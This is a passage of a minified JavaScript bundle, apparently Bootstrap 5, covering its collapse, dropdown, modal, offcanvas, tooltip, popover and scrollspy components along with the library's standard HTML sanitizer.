main.js

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i=`scroll${e[0].toUpperCase()+e.slice(1)}`;this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(zt),this._element.classList.add(Ft,jt),this._element.style[e]="",j.trigger(this._element,Nt)}),this._element,!0),this._element.style[e]=`${this._element[i]}px`}hide(){if(this._isTransitioning||!this._isShown())return;if(j.trigger(this._element,Pt).defaultPrevented)return;const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`,g(this._element),this._element.classList.add(zt),this._element.classList.remove(Ft,jt);for(const t of this._triggerArray){const e=K.getElementFromSelector(t);e&&!this._isShown(e)&&this._addAriaAndCollapsedClass([t],!1)}this._isTransitioning=!0,this._element.style[t]="",this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(zt),this._element.classList.add(Ft),j.trigger(this._element,xt)}),this._element,!0)}_isShown(t=this._element){return t.classList.contains(jt)}_configAfterMerge(t){return t.toggle=Boolean(t.toggle),t.parent=c(t.parent),t}_getDimension(){return this._element.classList.contains("collapse-horizontal")?"width":"height"}_initializeChildren(){if(!this._config.parent)return;const t=this._getFirstLevelChildren(Bt);for(const e of t){const t=K.getElementFromSelector(e);t&&this._addAriaAndCollapsedClass([e],this._isShown(t))}}_getFirstLevelChildren(t){const e=K.find(Ht,this._config.parent);return K.find(t,this._config.parent).filter((t=>!e.includes(t)))}_addAriaAndCollapsedClass(t,e){if(t.length)for(const i of t)i.classList.toggle("collapsed",!e),i.setAttribute("aria-expanded",e)}static jQueryInterface(t){const e={};return"string"==typeof t&&/show|hide/.test(t)&&(e.toggle=!1),this.each((function(){const i=Rt.getOrCreateInstance(this,e);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t]()}}))}}j.on(document,Mt,Bt,(function(t){("A"===t.target.tagName||t.delegateTarget&&"A"===t.delegateTarget.tagName)&&t.preventDefault();for(const t of K.getMultipleElementsFromSelector(this))Rt.getOrCreateInstance(t,{toggle:!1}).toggle()})),b(Rt);const Kt="dropdown",Vt=".bs.dropdown",Qt=".data-api",Xt="ArrowUp",Yt="ArrowDown",Ut=`hide${Vt}`,Gt=`hidden${Vt}`,Jt=`show${Vt}`,Zt=`shown${Vt}`,te=`click${Vt}${Qt}`,ee=`keydown${Vt}${Qt}`,ie=`keyup${Vt}${Qt}`,se="show",ne='[data-bs-toggle="dropdown"]:not(.disabled):not(:disabled)',oe=`${ne}.${se}`,re=".dropdown-menu",ae=p()?"top-end":"top-start",le=p()?"top-start":"top-end",ce=p()?"bottom-end":"bottom-start",he=p()?"bottom-start":"bottom-end",de=p()?"left-start":"right-start",ue=p()?"right-start":"left-start",_e={autoClose:!0,boundary:"clippingParents",display:"dynamic",offset:[0,2],popperConfig:null,reference:"toggle"},ge={autoClose:"(boolean|string)",boundary:"(string|element)",display:"string",offset:"(array|string|function)",popperConfig:"(null|object|function)",reference:"(string|element|object)"};class fe extends W{constructor(t,e){super(t,e),this._popper=null,this._parent=this._element.parentNode,this._menu=K.next(this._element,re)[0]||K.prev(this._element,re)[0]||K.findOne(re,this._parent),this._inNavbar=this._detectNavbar()}static get Default(){return _e}static get DefaultType(){return ge}static get NAME(){return Kt}toggle(){return this._isShown()?this.hide():this.show()}show(){if(d(this._element)||this._isShown())return;const t={relatedTarget:this._element};if(!j.trigger(this._element,Jt,t).defaultPrevented){if(this._createPopper(),"ontouchstart"in document.documentElement&&!this._parent.closest(".navbar-nav"))for(const t of[].concat(...document.body.children))j.on(t,"mouseover",_);this._element.focus(),this._element.setAttribute("aria-expanded",!0),this._menu.classList.add(se),this._element.classList.add(se),j.trigger(this._element,Zt,t)}}hide(){if(d(this._element)||!this._isShown())return;const t={relatedTarget:this._element};this._completeHide(t)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_completeHide(t){if(!j.trigger(this._element,Ut,t).defaultPrevented){if("ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))j.off(t,"mouseover",_);this._popper&&this._popper.destroy(),this._menu.classList.remove(se),this._element.classList.remove(se),this._element.setAttribute("aria-expanded","false"),B.removeDataAttribute(this._menu,"popper"),j.trigger(this._element,Gt,t)}}_getConfig(t){if("object"==typeof(t=super._getConfig(t)).reference&&!l(t.reference)&&"function"!=typeof t.reference.getBoundingClientRect)throw new TypeError(`${Kt.toUpperCase()}: Option "reference" provided type "object" without a required "getBoundingClientRect" method.`);return t}_createPopper(){if(void 0===i)throw new TypeError("Bootstrap's dropdowns require Popper (https://popper.js.org)");let t=this._element;"parent"===this._config.reference?t=this._parent:l(this._config.reference)?t=c(this._config.reference):"object"==typeof this._config.reference&&(t=this._config.reference);const e=this._getPopperConfig();this._popper=i.createPopper(t,this._menu,e)}_isShown(){return this._menu.classList.contains(se)}_getPlacement(){const t=this._parent;if(t.classList.contains("dropend"))return de;if(t.classList.contains("dropstart"))return ue;if(t.classList.contains("dropup-center"))return"top";if(t.classList.contains("dropdown-center"))return"bottom";const e="end"===getComputedStyle(this._menu).getPropertyValue("--bs-position").trim();return t.classList.contains("dropup")?e?le:ae:e?he:ce}_detectNavbar(){return null!==this._element.closest(".navbar")}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map((t=>Number.parseInt(t,10))):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return(this._inNavbar||"static"===this._config.display)&&(B.setDataAttribute(this._menu,"popper","static"),t.modifiers=[{name:"applyStyles",enabled:!1}]),{...t,...v(this._config.popperConfig,[t])}}_selectMenuItem({key:t,target:e}){const i=K.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter((t=>h(t)));i.length&&w(i,e,t===Yt,!i.includes(e)).focus()}static jQueryInterface(t){return this.each((function(){const e=fe.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}static clearMenus(t){if(2===t.button||"keyup"===t.type&&"Tab"!==t.key)return;const e=K.find(oe);for(const i of e){const e=fe.getInstance(i);if(!e||!1===e._config.autoClose)continue;const s=t.composedPath(),n=s.includes(e._menu);if(s.includes(e._element)||"inside"===e._config.autoClose&&!n||"outside"===e._config.autoClose&&n)continue;if(e._menu.contains(t.target)&&("keyup"===t.type&&"Tab"===t.key||/input|select|option|textarea|form/i.test(t.target.tagName)))continue;const o={relatedTarget:e._element};"click"===t.type&&(o.clickEvent=t),e._completeHide(o)}}static dataApiKeydownHandler(t){const e=/input|textarea/i.test(t.target.tagName),i="Escape"===t.key,s=[Xt,Yt].includes(t.key);if(!s&&!i)return;if(e&&!i)return;t.preventDefault();const n=this.matches(ne)?this:K.prev(this,ne)[0]||K.next(this,ne)[0]||K.findOne(ne,t.delegateTarget.parentNode),o=fe.getOrCreateInstance(n);if(s)return t.stopPropagation(),o.show(),void o._selectMenuItem(t);o._isShown()&&(t.stopPropagation(),o.hide(),n.focus())}}j.on(document,ee,ne,fe.dataApiKeydownHandler),j.on(document,ee,re,fe.dataApiKeydownHandler),j.on(document,te,fe.clearMenus),j.on(document,ie,fe.clearMenus),j.on(document,te,ne,(function(t){t.preventDefault(),fe.getOrCreateInstance(this).toggle()})),b(fe);const me="backdrop",pe="show",be=`mousedown.bs.${me}`,ve={className:"modal-backdrop",clickCallback:null,isAnimated:!1,isVisible:!0,rootElement:"body"},ye={className:"string",clickCallback:"(function|null)",isAnimated:"boolean",isVisible:"boolean",rootElement:"(element|string)"};class we extends q{constructor(t){super(),this._config=this._getConfig(t),this._isAppended=!1,this._element=null}static get Default(){return ve}static get DefaultType(){return ye}static get NAME(){return me}show(t){if(!this._config.isVisible)return void v(t);this._append();const e=this._getElement();this._config.isAnimated&&g(e),e.classList.add(pe),this._emulateAnimation((()=>{v(t)}))}hide(t){this._config.isVisible?(this._getElement().classList.remove(pe),this._emulateAnimation((()=>{this.dispose(),v(t)}))):v(t)}dispose(){this._isAppended&&(j.off(this._element,be),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const t=document.createElement("div");t.className=this._config.className,this._config.isAnimated&&t.classList.add("fade"),this._element=t}return this._element}_configAfterMerge(t){return t.rootElement=c(t.rootElement),t}_append(){if(this._isAppended)return;const t=this._getElement();this._config.rootElement.append(t),j.on(t,be,(()=>{v(this._config.clickCallback)})),this._isAppended=!0}_emulateAnimation(t){y(t,this._getElement(),this._config.isAnimated)}}const Ae=".bs.focustrap",Ee=`focusin${Ae}`,Ce=`keydown.tab${Ae}`,Te="backward",ke={autofocus:!0,trapElement:null},$e={autofocus:"boolean",trapElement:"element"};class Se extends q{constructor(t){super(),this._config=this._getConfig(t),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return ke}static get DefaultType(){return $e}static get NAME(){return"focustrap"}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),j.off(document,Ae),j.on(document,Ee,(t=>this._handleFocusin(t))),j.on(document,Ce,(t=>this._handleKeydown(t))),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,j.off(document,Ae))}_handleFocusin(t){const{trapElement:e}=this._config;if(t.target===document||t.target===e||e.contains(t.target))return;const i=K.focusableChildren(e);0===i.length?e.focus():this._lastTabNavDirection===Te?i[i.length-1].focus():i[0].focus()}_handleKeydown(t){"Tab"===t.key&&(this._lastTabNavDirection=t.shiftKey?Te:"forward")}}const Le=".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",Oe=".sticky-top",Ie="padding-right",De="margin-right";class Ne{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,Ie,(e=>e+t)),this._setElementAttributes(Le,Ie,(e=>e+t)),this._setElementAttributes(Oe,De,(e=>e-t))}reset(){this._resetElementAttributes(this._element,"overflow"),this._resetElementAttributes(this._element,Ie),this._resetElementAttributes(Le,Ie),this._resetElementAttributes(Oe,De)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow"),this._element.style.overflow="hidden"}_setElementAttributes(t,e,i){const s=this.getWidth();this._applyManipulationCallback(t,(t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+s)return;this._saveInitialAttribute(t,e);const n=window.getComputedStyle(t).getPropertyValue(e);t.style.setProperty(e,`${i(Number.parseFloat(n))}px`)}))}_saveInitialAttribute(t,e){const i=t.style.getPropertyValue(e);i&&B.setDataAttribute(t,e,i)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,(t=>{const i=B.getDataAttribute(t,e);null!==i?(B.removeDataAttribute(t,e),t.style.setProperty(e,i)):t.style.removeProperty(e)}))}_applyManipulationCallback(t,e){if(l(t))e(t);else for(const i of K.find(t,this._element))e(i)}}const Pe=".bs.modal",xe=`hide${Pe}`,Me=`hidePrevented${Pe}`,je=`hidden${Pe}`,Fe=`show${Pe}`,ze=`shown${Pe}`,He=`resize${Pe}`,Be=`click.dismiss${Pe}`,qe=`mousedown.dismiss${Pe}`,We=`keydown.dismiss${Pe}`,Re=`click${Pe}.data-api`,Ke="modal-open",Ve="show",Qe="modal-static",Xe={backdrop:!0,focus:!0,keyboard:!0},Ye={backdrop:"(boolean|string)",focus:"boolean",keyboard:"boolean"};class Ue extends W{constructor(t,e){super(t,e),this._dialog=K.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new Ne,this._addEventListeners()}static get Default(){return Xe}static get DefaultType(){return Ye}static get NAME(){return"modal"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||this._isTransitioning||j.trigger(this._element,Fe,{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(Ke),this._adjustDialog(),this._backdrop.show((()=>this._showElement(t))))}hide(){this._isShown&&!this._isTransitioning&&(j.trigger(this._element,xe).defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove(Ve),this._queueCallback((()=>this._hideModal()),this._element,this._isAnimated())))}dispose(){j.off(window,Pe),j.off(this._dialog,Pe),this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new we({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new Se({trapElement:this._element})}_showElement(t){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0;const e=K.findOne(".modal-body",this._dialog);e&&(e.scrollTop=0),g(this._element),this._element.classList.add(Ve),this._queueCallback((()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,j.trigger(this._element,ze,{relatedTarget:t})}),this._dialog,this._isAnimated())}_addEventListeners(){j.on(this._element,We,(t=>{"Escape"===t.key&&(this._config.keyboard?this.hide():this._triggerBackdropTransition())})),j.on(window,He,(()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()})),j.on(this._element,qe,(t=>{j.one(this._element,Be,(e=>{this._element===t.target&&this._element===e.target&&("static"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())}))}))}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide((()=>{document.body.classList.remove(Ke),this._resetAdjustments(),this._scrollBar.reset(),j.trigger(this._element,je)}))}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if(j.trigger(this._element,Me).defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._element.style.overflowY;"hidden"===e||this._element.classList.contains(Qe)||(t||(this._element.style.overflowY="hidden"),this._element.classList.add(Qe),this._queueCallback((()=>{this._element.classList.remove(Qe),this._queueCallback((()=>{this._element.style.overflowY=e}),this._dialog)}),this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),i=e>0;if(i&&!t){const t=p()?"paddingLeft":"paddingRight";this._element.style[t]=`${e}px`}if(!i&&t){const t=p()?"paddingRight":"paddingLeft";this._element.style[t]=`${e}px`}}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(t,e){return this.each((function(){const i=Ue.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t](e)}}))}}j.on(document,Re,'[data-bs-toggle="modal"]',(function(t){const e=K.getElementFromSelector(this);["A","AREA"].includes(this.tagName)&&t.preventDefault(),j.one(e,Fe,(t=>{t.defaultPrevented||j.one(e,je,(()=>{h(this)&&this.focus()}))}));const i=K.findOne(".modal.show");i&&Ue.getInstance(i).hide(),Ue.getOrCreateInstance(e).toggle(this)})),V(Ue),b(Ue);const Ge=".bs.offcanvas",Je=".data-api",Ze=`load${Ge}${Je}`,ti="show",ei="showing",ii="hiding",si=".offcanvas.show",ni=`show${Ge}`,oi=`shown${Ge}`,ri=`hide${Ge}`,ai=`hidePrevented${Ge}`,li=`hidden${Ge}`,ci=`resize${Ge}`,hi=`click${Ge}${Je}`,di=`keydown.dismiss${Ge}`,ui={backdrop:!0,keyboard:!0,scroll:!1},_i={backdrop:"(boolean|string)",keyboard:"boolean",scroll:"boolean"};class gi extends W{constructor(t,e){super(t,e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return ui}static get DefaultType(){return _i}static get NAME(){return"offcanvas"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||j.trigger(this._element,ni,{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._backdrop.show(),this._config.scroll||(new Ne).hide(),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add(ei),this._queueCallback((()=>{this._config.scroll&&!this._config.backdrop||this._focustrap.activate(),this._element.classList.add(ti),this._element.classList.remove(ei),j.trigger(this._element,oi,{relatedTarget:t})}),this._element,!0))}hide(){this._isShown&&(j.trigger(this._element,ri).defaultPrevented||(this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add(ii),this._backdrop.hide(),this._queueCallback((()=>{this._element.classList.remove(ti,ii),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._config.scroll||(new Ne).reset(),j.trigger(this._element,li)}),this._element,!0)))}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_initializeBackDrop(){const t=Boolean(this._config.backdrop);return new we({className:"offcanvas-backdrop",isVisible:t,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:t?()=>{"static"!==this._config.backdrop?this.hide():j.trigger(this._element,ai)}:null})}_initializeFocusTrap(){return new Se({trapElement:this._element})}_addEventListeners(){j.on(this._element,di,(t=>{"Escape"===t.key&&(this._config.keyboard?this.hide():j.trigger(this._element,ai))}))}static jQueryInterface(t){return this.each((function(){const e=gi.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}j.on(document,hi,'[data-bs-toggle="offcanvas"]',(function(t){const e=K.getElementFromSelector(this);if(["A","AREA"].includes(this.tagName)&&t.preventDefault(),d(this))return;j.one(e,li,(()=>{h(this)&&this.focus()}));const i=K.findOne(si);i&&i!==e&&gi.getInstance(i).hide(),gi.getOrCreateInstance(e).toggle(this)})),j.on(window,Ze,(()=>{for(const t of K.find(si))gi.getOrCreateInstance(t).show()})),j.on(window,ci,(()=>{for(const t of K.find("[aria-modal][class*=show][class*=offcanvas-]"))"fixed"!==getComputedStyle(t).position&&gi.getOrCreateInstance(t).hide()})),V(gi),b(gi);const fi={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},mi=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),pi=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:/?#]*(?:[/?#]|$))/i,bi=(t,e)=>{const i=t.nodeName.toLowerCase();return e.includes(i)?!mi.has(i)||Boolean(pi.test(t.nodeValue)):e.filter((t=>t instanceof RegExp)).some((t=>t.test(i)))},vi={allowList:fi,content:{},extraClass:"",html:!1,sanitize:!0,sanitizeFn:null,template:"<div></div>"},yi={allowList:"object",content:"object",extraClass:"(string|function)",html:"boolean",sanitize:"boolean",sanitizeFn:"(null|function)",template:"string"},wi={entry:"(string|element|function|null)",selector:"(string|element)"};class Ai extends q{constructor(t){super(),this._config=this._getConfig(t)}static get Default(){return vi}static get DefaultType(){return yi}static get NAME(){return"TemplateFactory"}getContent(){return Object.values(this._config.content).map((t=>this._resolvePossibleFunction(t))).filter(Boolean)}hasContent(){return this.getContent().length>0}changeContent(t){return this._checkContent(t),this._config.content={...this._config.content,...t},this}toHtml(){const t=document.createElement("div");t.innerHTML=this._maybeSanitize(this._config.template);for(const[e,i]of Object.entries(this._config.content))this._setContent(t,i,e);const e=t.children[0],i=this._resolvePossibleFunction(this._config.extraClass);return i&&e.classList.add(...i.split(" ")),e}_typeCheckConfig(t){super._typeCheckConfig(t),this._checkContent(t.content)}_checkContent(t){for(const[e,i]of Object.entries(t))super._typeCheckConfig({selector:e,entry:i},wi)}_setContent(t,e,i){const s=K.findOne(i,t);s&&((e=this._resolvePossibleFunction(e))?l(e)?this._putElementInTemplate(c(e),s):this._config.html?s.innerHTML=this._maybeSanitize(e):s.textContent=e:s.remove())}_maybeSanitize(t){return this._config.sanitize?function(t,e,i){if(!t.length)return t;if(i&&"function"==typeof i)return i(t);const s=(new window.DOMParser).parseFromString(t,"text/html"),n=[].concat(...s.body.querySelectorAll("*"));for(const t of n){const i=t.nodeName.toLowerCase();if(!Object.keys(e).includes(i)){t.remove();continue}const s=[].concat(...t.attributes),n=[].concat(e["*"]||[],e[i]||[]);for(const e of s)bi(e,n)||t.removeAttribute(e.nodeName)}return s.body.innerHTML}(t,this._config.allowList,this._config.sanitizeFn):t}_resolvePossibleFunction(t){return v(t,[this])}_putElementInTemplate(t,e){if(this._config.html)return e.innerHTML="",void e.append(t);e.textContent=t.textContent}}const Ei=new Set(["sanitize","allowList","sanitizeFn"]),Ci="fade",Ti="show",ki=".modal",$i="hide.bs.modal",Si="hover",Li="focus",Oi={AUTO:"auto",TOP:"top",RIGHT:p()?"left":"right",BOTTOM:"bottom",LEFT:p()?"right":"left"},Ii={allowList:fi,animation:!0,boundary:"clippingParents",container:!1,customClass:"",delay:0,fallbackPlacements:["top","right","bottom","left"],html:!1,offset:[0,6],placement:"top",popperConfig:null,sanitize:!0,sanitizeFn:null,selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',title:"",trigger:"hover focus"},Di={allowList:"object",animation:"boolean",boundary:"(string|element)",container:"(string|element|boolean)",customClass:"(string|function)",delay:"(number|object)",fallbackPlacements:"array",html:"boolean",offset:"(array|string|function)",placement:"(string|function)",popperConfig:"(null|object|function)",sanitize:"boolean",sanitizeFn:"(null|function)",selector:"(string|boolean)",template:"string",title:"(string|element|function)",trigger:"string"};class Ni extends W{constructor(t,e){if(void 0===i)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(t,e),this._isEnabled=!0,this._timeout=0,this._isHovered=null,this._activeTrigger={},this._popper=null,this._templateFactory=null,this._newContent=null,this.tip=null,this._setListeners(),this._config.selector||this._fixTitle()}static get Default(){return Ii}static get DefaultType(){return Di}static get NAME(){return"tooltip"}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(){this._isEnabled&&(this._activeTrigger.click=!this._activeTrigger.click,this._isShown()?this._leave():this._enter())}dispose(){clearTimeout(this._timeout),j.off(this._element.closest(ki),$i,this._hideModalHandler),this._element.getAttribute("data-bs-original-title")&&this._element.setAttribute("title",this._element.getAttribute("data-bs-original-title")),this._disposePopper(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this._isWithContent()||!this._isEnabled)return;const t=j.trigger(this._element,this.constructor.eventName("show")),e=(u(this._element)||this._element.ownerDocument.documentElement).contains(this._element);if(t.defaultPrevented||!e)return;this._disposePopper();const i=this._getTipElement();this._element.setAttribute("aria-describedby",i.getAttribute("id"));const{container:s}=this._config;if(this._element.ownerDocument.documentElement.contains(this.tip)||(s.append(i),j.trigger(this._element,this.constructor.eventName("inserted"))),this._popper=this._createPopper(i),i.classList.add(Ti),"ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))j.on(t,"mouseover",_);this._queueCallback((()=>{j.trigger(this._element,this.constructor.eventName("shown")),!1===this._isHovered&&this._leave(),this._isHovered=!1}),this.tip,this._isAnimated())}hide(){if(this._isShown()&&!j.trigger(this._element,this.constructor.eventName("hide")).defaultPrevented){if(this._getTipElement().classList.remove(Ti),"ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))j.off(t,"mouseover",_);this._activeTrigger.click=!1,this._activeTrigger[Li]=!1,this._activeTrigger[Si]=!1,this._isHovered=null,this._queueCallback((()=>{this._isWithActiveTrigger()||(this._isHovered||this._disposePopper(),this._element.removeAttribute("aria-describedby"),j.trigger(this._element,this.constructor.eventName("hidden")))}),this.tip,this._isAnimated())}}update(){this._popper&&this._popper.update()}_isWithContent(){return Boolean(this._getTitle())}_getTipElement(){return this.tip||(this.tip=this._createTipElement(this._newContent||this._getContentForTemplate())),this.tip}_createTipElement(t){const e=this._getTemplateFactory(t).toHtml();if(!e)return null;e.classList.remove(Ci,Ti),e.classList.add(`bs-${this.constructor.NAME}-auto`);const i=(t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t})(this.constructor.NAME).toString();return e.setAttribute("id",i),this._isAnimated()&&e.classList.add(Ci),e}setContent(t){this._newContent=t,this._isShown()&&(this._disposePopper(),this.show())}_getTemplateFactory(t){return this._templateFactory?this._templateFactory.changeContent(t):this._templateFactory=new Ai({...this._config,content:t,extraClass:this._resolvePossibleFunction(this._config.customClass)}),this._templateFactory}_getContentForTemplate(){return{".tooltip-inner":this._getTitle()}}_getTitle(){return this._resolvePossibleFunction(this._config.title)||this._element.getAttribute("data-bs-original-title")}_initializeOnDelegatedTarget(t){return this.constructor.getOrCreateInstance(t.delegateTarget,this._getDelegateConfig())}_isAnimated(){return this._config.animation||this.tip&&this.tip.classList.contains(Ci)}_isShown(){return this.tip&&this.tip.classList.contains(Ti)}_createPopper(t){const e=v(this._config.placement,[this,t,this._element]),s=Oi[e.toUpperCase()];return i.createPopper(this._element,t,this._getPopperConfig(s))}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map((t=>Number.parseInt(t,10))):"function"==typeof t?e=>t(e,this._element):t}_resolvePossibleFunction(t){return v(t,[this._element])}_getPopperConfig(t){const e={placement:t,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"preSetPlacement",enabled:!0,phase:"beforeMain",fn:t=>{this._getTipElement().setAttribute("data-popper-placement",t.state.placement)}}]};return{...e,...v(this._config.popperConfig,[e])}}_setListeners(){const t=this._config.trigger.split(" ");for(const e of t)if("click"===e)j.on(this._element,this.constructor.eventName("click"),this._config.selector,(t=>{this._initializeOnDelegatedTarget(t).toggle()}));else if("manual"!==e){const t=e===Si?this.constructor.eventName("mouseenter"):this.constructor.eventName("focusin"),i=e===Si?this.constructor.eventName("mouseleave"):this.constructor.eventName("focusout");j.on(this._element,t,this._config.selector,(t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger["focusin"===t.type?Li:Si]=!0,e._enter()})),j.on(this._element,i,this._config.selector,(t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger["focusout"===t.type?Li:Si]=e._element.contains(t.relatedTarget),e._leave()}))}this._hideModalHandler=()=>{this._element&&this.hide()},j.on(this._element.closest(ki),$i,this._hideModalHandler)}_fixTitle(){const t=this._element.getAttribute("title");t&&(this._element.getAttribute("aria-label")||this._element.textContent.trim()||this._element.setAttribute("aria-label",t),this._element.setAttribute("data-bs-original-title",t),this._element.removeAttribute("title"))}_enter(){this._isShown()||this._isHovered?this._isHovered=!0:(this._isHovered=!0,this._setTimeout((()=>{this._isHovered&&this.show()}),this._config.delay.show))}_leave(){this._isWithActiveTrigger()||(this._isHovered=!1,this._setTimeout((()=>{this._isHovered||this.hide()}),this._config.delay.hide))}_setTimeout(t,e){clearTimeout(this._timeout),this._timeout=setTimeout(t,e)}_isWithActiveTrigger(){return Object.values(this._activeTrigger).includes(!0)}_getConfig(t){const e=B.getDataAttributes(this._element);for(const t of Object.keys(e))Ei.has(t)&&delete e[t];return t={...e,..."object"==typeof t&&t?t:{}},t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t.container=!1===t.container?document.body:c(t.container),"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),t}_getDelegateConfig(){const t={};for(const[e,i]of Object.entries(this._config))this.constructor.Default[e]!==i&&(t[e]=i);return t.selector=!1,t.trigger="manual",t}_disposePopper(){this._popper&&(this._popper.destroy(),this._popper=null),this.tip&&(this.tip.remove(),this.tip=null)}static jQueryInterface(t){return this.each((function(){const e=Ni.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}b(Ni);const Pi={...Ni.Default,content:"",offset:[0,8],placement:"right",template:'<div class="popover" role="tooltip"><div class="popover-arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>',trigger:"click"},xi={...Ni.DefaultType,content:"(null|string|element|function)"};class Mi extends Ni{static get Default(){return Pi}static get DefaultType(){return xi}static get NAME(){return"popover"}_isWithContent(){return this._getTitle()||this._getContent()}_getContentForTemplate(){return{".popover-header":this._getTitle(),".popover-body":this._getContent()}}_getContent(){return this._resolvePossibleFunction(this._config.content)}static jQueryInterface(t){return this.each((function(){const e=Mi.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}b(Mi);const ji=".bs.scrollspy",Fi=`activate${ji}`,zi=`click${ji}`,Hi=`load${ji}.data-api`,Bi="active",qi="[href]",Wi=".nav-link",Ri=`${Wi}, .nav-item > ${Wi}, .list-group-item`,Ki={offset:null,rootMargin:"0px 0px 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t){if(!o.isIntersecting){this._activeTarget=null,this._clearActiveClass(e(o));continue}const t=o.target.offsetTop>=this._previousScrollData.visibleEntryTop;if(n&&t){if(i(o),!s)return}else n||t||i(o)}}_initializeTargetsAndObservables(){this._targetLinks=new Map,this._observableSections=new Map;const t=K.find(qi,this._config.target);for(const e of t){if(!e.hash||d(e))continue;const 